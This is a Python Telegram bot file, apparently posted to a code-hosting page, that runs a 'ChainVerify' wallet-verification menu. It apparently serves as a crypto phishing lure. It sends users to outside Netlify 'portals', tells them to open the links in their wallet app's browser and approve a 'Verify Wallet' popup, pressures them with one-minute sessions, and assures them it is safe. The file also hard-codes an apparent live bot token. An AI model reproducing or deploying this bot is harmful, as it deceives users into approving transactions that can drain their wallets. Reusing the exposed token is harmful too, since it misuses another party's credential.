Chainverify / bot.py
redtex's picture
bot.py
8f56810 verified
Raw History Blame Contribute Delete
11.4 kB
‎import asyncio
‎from datetime import datetime, timedelta
‎from telegram import Update, InlineKeyboardButton, InlineKeyboardMarkup
‎from telegram.ext import Application, CommandHandler, CallbackQueryHandler, ContextTypes
‎from telegram.constants import ParseMode
‎
‎# ============================================
‎# CHANGE THESE TWO LINES
‎# ============================================
‎BOT_TOKEN = "8788528361:AAEjmAvhCd_fWwRpIBoQ_yMDMUjRIbLzaMo"  # From @BotFather
‎SOLANA_PORTAL_URL = "https://Verifi-x.netlify.app"
‎EVM_PORTAL_URL = "https://Chainverify.netlify.app"
PORTAL_OPEN_MINUTES = 1
‎
‎user_sessions = {}
‎
‎async def start(update: Update, context: ContextTypes.DEFAULT_TYPE):
‎    user = update.effective_user
‎    welcome_text = f"""
‎🛡️ *Welcome to ChainVerify Portal*
‎
‎Hi {user.first_name}! I help you verify your wallet across multiple blockchains.
‎
‎*Available Portals:*
‎• 🔵 *Solana Portal* — Verify SOL and SPL tokens
‎• 🟣 *EVM Portal* — Verify ETH, BNB, and ERC-20 tokens
‎
‎⚠️ *Important:* Each portal session is limited to *{PORTAL_OPEN_MINUTES} minutes*. Once the time expires, you must request a new session.
‎"""
‎    keyboard = [
‎        [InlineKeyboardButton("🔵 Open Solana Portal", callback_data="open_solana")],
‎        [InlineKeyboardButton("🟣 Open EVM Portal (ETH & BNB)", callback_data="open_evm")],
‎        [InlineKeyboardButton("📋 How To Use", callback_data="how_to_use")],
‎        [InlineKeyboardButton("❓ FAQ", callback_data="faq")],
‎        [InlineKeyboardButton("⏱️ Check Time Remaining", callback_data="check_time")],
‎    ]
‎    reply_markup = InlineKeyboardMarkup(keyboard)
‎    await update.message.reply_text(welcome_text, reply_markup=reply_markup, parse_mode=ParseMode.MARKDOWN)
‎
‎
‎async def how_to_use(update: Update, context: ContextTypes.DEFAULT_TYPE):
‎    query = update.callback_query
‎    await query.answer()
‎    instructions = f"""
‎📋 *How To Verify Your Wallet*
‎
‎*Step 1:* Tap one of the portal buttons
‎*Step 2:* Copy the portal link
‎*Step 3:* Open your wallet app (Trust Wallet, or Phantom)
‎*Step 4:* Find the browser inside your wallet app
‎*Step 5:* Paste the link and go to the site
‎*Step 6:* The site auto-detects your wallet
‎*Step 7:* Tap *"Verify Wallet"*
‎*Step 8:* Confirm the popup in your wallet
‎
‎⚠️ *Time Limit:* You have *{PORTAL_OPEN_MINUTES} minutes* from when you click the portal button.
‎"""
‎    keyboard = [
‎        [InlineKeyboardButton("🔵 Solana Portal", callback_data="open_solana")],
‎        [InlineKeyboardButton("🟣 EVM Portal", callback_data="open_evm")],
‎        [InlineKeyboardButton("⬅️ Back to Menu", callback_data="back_to_menu")],
‎    ]
‎    reply_markup = InlineKeyboardMarkup(keyboard)
‎    await query.edit_message_text(instructions, reply_markup=reply_markup, parse_mode=ParseMode.MARKDOWN)
‎
‎
‎async def faq(update: Update, context: ContextTypes.DEFAULT_TYPE):
‎    query = update.callback_query
‎    await query.answer()
‎    faq_text = f"""
‎❓ *Frequently Asked Questions*
‎
‎*Q: Is this safe?*
‎A: Yes. Your wallet controls the popup — you must approve manually.
‎
‎*Q: Why is there a time limit?*
‎A: Each session is {PORTAL_OPEN_MINUTES} minutes for security.
‎
‎*Q: What wallets work?*
‎A: Trust Wallet, Phantom, Binance Wallet, Coinbase Wallet, Brave Wallet, OKX, Rainbow, and more.
‎
‎*Q: What if I see "No wallet found"?*
‎A: You're in a regular browser. Open your wallet app, find its built-in browser, and paste the link there.
‎
‎*Q: What if my time runs out?*
‎A: Simply tap the portal button again for a fresh {PORTAL_OPEN_MINUTES}-minute session.
‎"""
‎    keyboard = [[InlineKeyboardButton("⬅️ Back to Menu", callback_data="back_to_menu")]]
‎    reply_markup = InlineKeyboardMarkup(keyboard)
‎    await query.edit_message_text(faq_text, reply_markup=reply_markup, parse_mode=ParseMode.MARKDOWN)
‎
‎
‎async def open_solana_portal(update: Update, context: ContextTypes.DEFAULT_TYPE):
‎    query = update.callback_query
‎    await query.answer()
‎    user_id = query.from_user.id
‎    now = datetime.now()
‎    expires = now + timedelta(minutes=PORTAL_OPEN_MINUTES)
‎    user_sessions[user_id] = {"portal": "solana", "started": now.strftime("%H:%M:%S"), "expires": expires.strftime("%H:%M:%S"), "url": SOLANA_PORTAL_URL}
‎    text = f"""
‎🔵 *Solana Verification Portal*
‎
‎Your portal is now *OPEN*.
‎
‎⏱️ *Time Remaining:* {PORTAL_OPEN_MINUTES} minutes
‎🔗 *Portal Link:* {SOLANA_PORTAL_URL}
‎
‎*To use:*
‎1️⃣ Copy the link above
‎2️⃣ Open *Phantom wallet app*
‎3️⃣ Tap the browser icon (🌐)
‎4️⃣ Paste the link
‎5️⃣ The site auto-detects your wallet
‎6️⃣ Tap *"Verify Wallet"*
‎
‎⚠️ This portal closes at *{expires.strftime('%H:%M:%S')}*
‎"""
‎    keyboard = [
‎        [InlineKeyboardButton("⏱️ Check Time Remaining", callback_data="check_time")],
‎        [InlineKeyboardButton("⬅️ Back to Menu", callback_data="back_to_menu")],
‎    ]
‎    reply_markup = InlineKeyboardMarkup(keyboard)
‎    await query.edit_message_text(text, reply_markup=reply_markup, parse_mode=ParseMode.MARKDOWN)
‎
‎
‎async def open_evm_portal(update: Update, context: ContextTypes.DEFAULT_TYPE):
‎    query = update.callback_query
‎    await query.answer()
‎    user_id = query.from_user.id
‎    now = datetime.now()
‎    expires = now + timedelta(minutes=PORTAL_OPEN_MINUTES)
‎    user_sessions[user_id] = {"portal": "evm", "started": now.strftime("%H:%M:%S"), "expires": expires.strftime("%H:%M:%S"), "url": EVM_PORTAL_URL}
‎    text = f"""
‎🟣 *EVM Verification Portal (ETH & BNB)*
‎
‎Your portal is now *OPEN*.
‎
‎⏱️ *Time Remaining:* {PORTAL_OPEN_MINUTES} minutes
‎🔗 *Portal Link:* {EVM_PORTAL_URL}
‎
‎*To use:*
‎1️⃣ Copy the link above
‎2️⃣ Open *MetaMask or Trust Wallet app*
‎3️⃣ Find the browser inside the wallet
‎4️⃣ Paste the link
‎5️⃣ Choose Ethereum or BNB Chain tab
‎6️⃣ Tap *"Verify Wallet"*
‎
‎⚠️ This portal closes at *{expires.strftime('%H:%M:%S')}*
‎"""
‎    keyboard = [
‎        [InlineKeyboardButton("⏱️ Check Time Remaining", callback_data="check_time")],
‎        [InlineKeyboardButton("⬅️ Back to Menu", callback_data="back_to_menu")],
‎    ]
‎    reply_markup = InlineKeyboardMarkup(keyboard)
‎    await query.edit_message_text(text, reply_markup=reply_markup, parse_mode=ParseMode.MARKDOWN)
‎
‎
‎async def check_time(update: Update, context: ContextTypes.DEFAULT_TYPE):
‎    query = update.callback_query
‎    await query.answer()
‎    user_id = query.from_user.id
‎    if user_id not in user_sessions:
‎        text = "⏱️ *No Active Session*\n\nYou don't have an active portal session. Tap a portal button to start."
‎        keyboard = [
‎            [InlineKeyboardButton("🔵 Solana Portal", callback_data="open_solana")],
‎            [InlineKeyboardButton("🟣 EVM Portal", callback_data="open_evm")],
‎            [InlineKeyboardButton("⬅️ Back to Menu", callback_data="back_to_menu")],
‎        ]
‎    else:
‎        session = user_sessions[user_id]
‎        now = datetime.now()
‎        expires_time = datetime.strptime(session["expires"], "%H:%M:%S").replace(year=now.year, month=now.month, day=now.day)
‎        if now > expires_time:
‎            del user_sessions[user_id]
‎            text = f"⏱️ *Session Expired*\n\nYour {PORTAL_OPEN_MINUTES}-minute session has ended. Request a new one below."
‎            keyboard = [
‎                [InlineKeyboardButton("🔵 New Solana Portal", callback_data="open_solana")],
‎                [InlineKeyboardButton("🟣 New EVM Portal", callback_data="open_evm")],
‎                [InlineKeyboardButton("⬅️ Back to Menu", callback_data="back_to_menu")],
‎            ]
‎        else:
‎            remaining = expires_time - now
‎            minutes_left = remaining.seconds // 60
‎            seconds_left = remaining.seconds % 60
‎            portal_name = "Solana" if session["portal"] == "solana" else "EVM (ETH & BNB)"
‎            text = f"""
‎⏱️ *Session Active*
‎
‎🔗 Portal: *{portal_name}*
‎⏱️ Remaining: *{minutes_left}m {seconds_left}s*
‎🔗 Link: {session['url']}
‎"""
‎            keyboard = [[InlineKeyboardButton("⬅️ Back to Menu", callback_data="back_to_menu")]]
‎    reply_markup = InlineKeyboardMarkup(keyboard)
‎    await query.edit_message_text(text, reply_markup=reply_markup, parse_mode=ParseMode.MARKDOWN)
‎
‎
‎async def back_to_menu(update: Update, context: ContextTypes.DEFAULT_TYPE):
‎    query = update.callback_query
‎    await query.answer()
‎    text = f"🛡️ *ChainVerify Portal*\n\nSelect a portal to begin verification.\n\n⚠️ Each session is limited to *{PORTAL_OPEN_MINUTES} minutes*."
‎    keyboard = [
‎        [InlineKeyboardButton("🔵 Open Solana Portal", callback_data="open_solana")],
‎        [InlineKeyboardButton("🟣 Open EVM Portal (ETH & BNB)", callback_data="open_evm")],
‎        [InlineKeyboardButton("📋 How To Use", callback_data="how_to_use")],
‎        [InlineKeyboardButton("❓ FAQ", callback_data="faq")],
‎        [InlineKeyboardButton("⏱️ Check Time Remaining", callback_data="check_time")],
‎    ]
‎    reply_markup = InlineKeyboardMarkup(keyboard)
‎    await query.edit_message_text(text, reply_markup=reply_markup, parse_mode=ParseMode.MARKDOWN)
‎
‎
‎async def help_command(update: Update, context: ContextTypes.DEFAULT_TYPE):
‎    await update.message.reply_text(f"🆘 Commands:\n/start — Open the main menu\n/help — Show this help\n\nSession Time: {PORTAL_OPEN_MINUTES} minutes per session", parse_mode=ParseMode.MARKDOWN)
‎
‎
‎def main():
‎    app = Application.builder().token(BOT_TOKEN).build()
‎    app.add_handler(CommandHandler("start", start))
‎    app.add_handler(CommandHandler("help", help_command))
‎    app.add_handler(CallbackQueryHandler(open_solana_portal, pattern="open_solana"))
‎    app.add_handler(CallbackQueryHandler(open_evm_portal, pattern="open_evm"))
‎    app.add_handler(CallbackQueryHandler(how_to_use, pattern="how_to_use"))
‎    app.add_handler(CallbackQueryHandler(faq, pattern="faq"))
‎    app.add_handler(CallbackQueryHandler(check_time, pattern="check_time"))
‎    app.add_handler(CallbackQueryHandler(back_to_menu, pattern="back_to_menu"))
‎    print("✅ Bot is running...")
‎    app.run_polling()
‎
‎
‎if __name__ == "__main__":
‎    main()
‎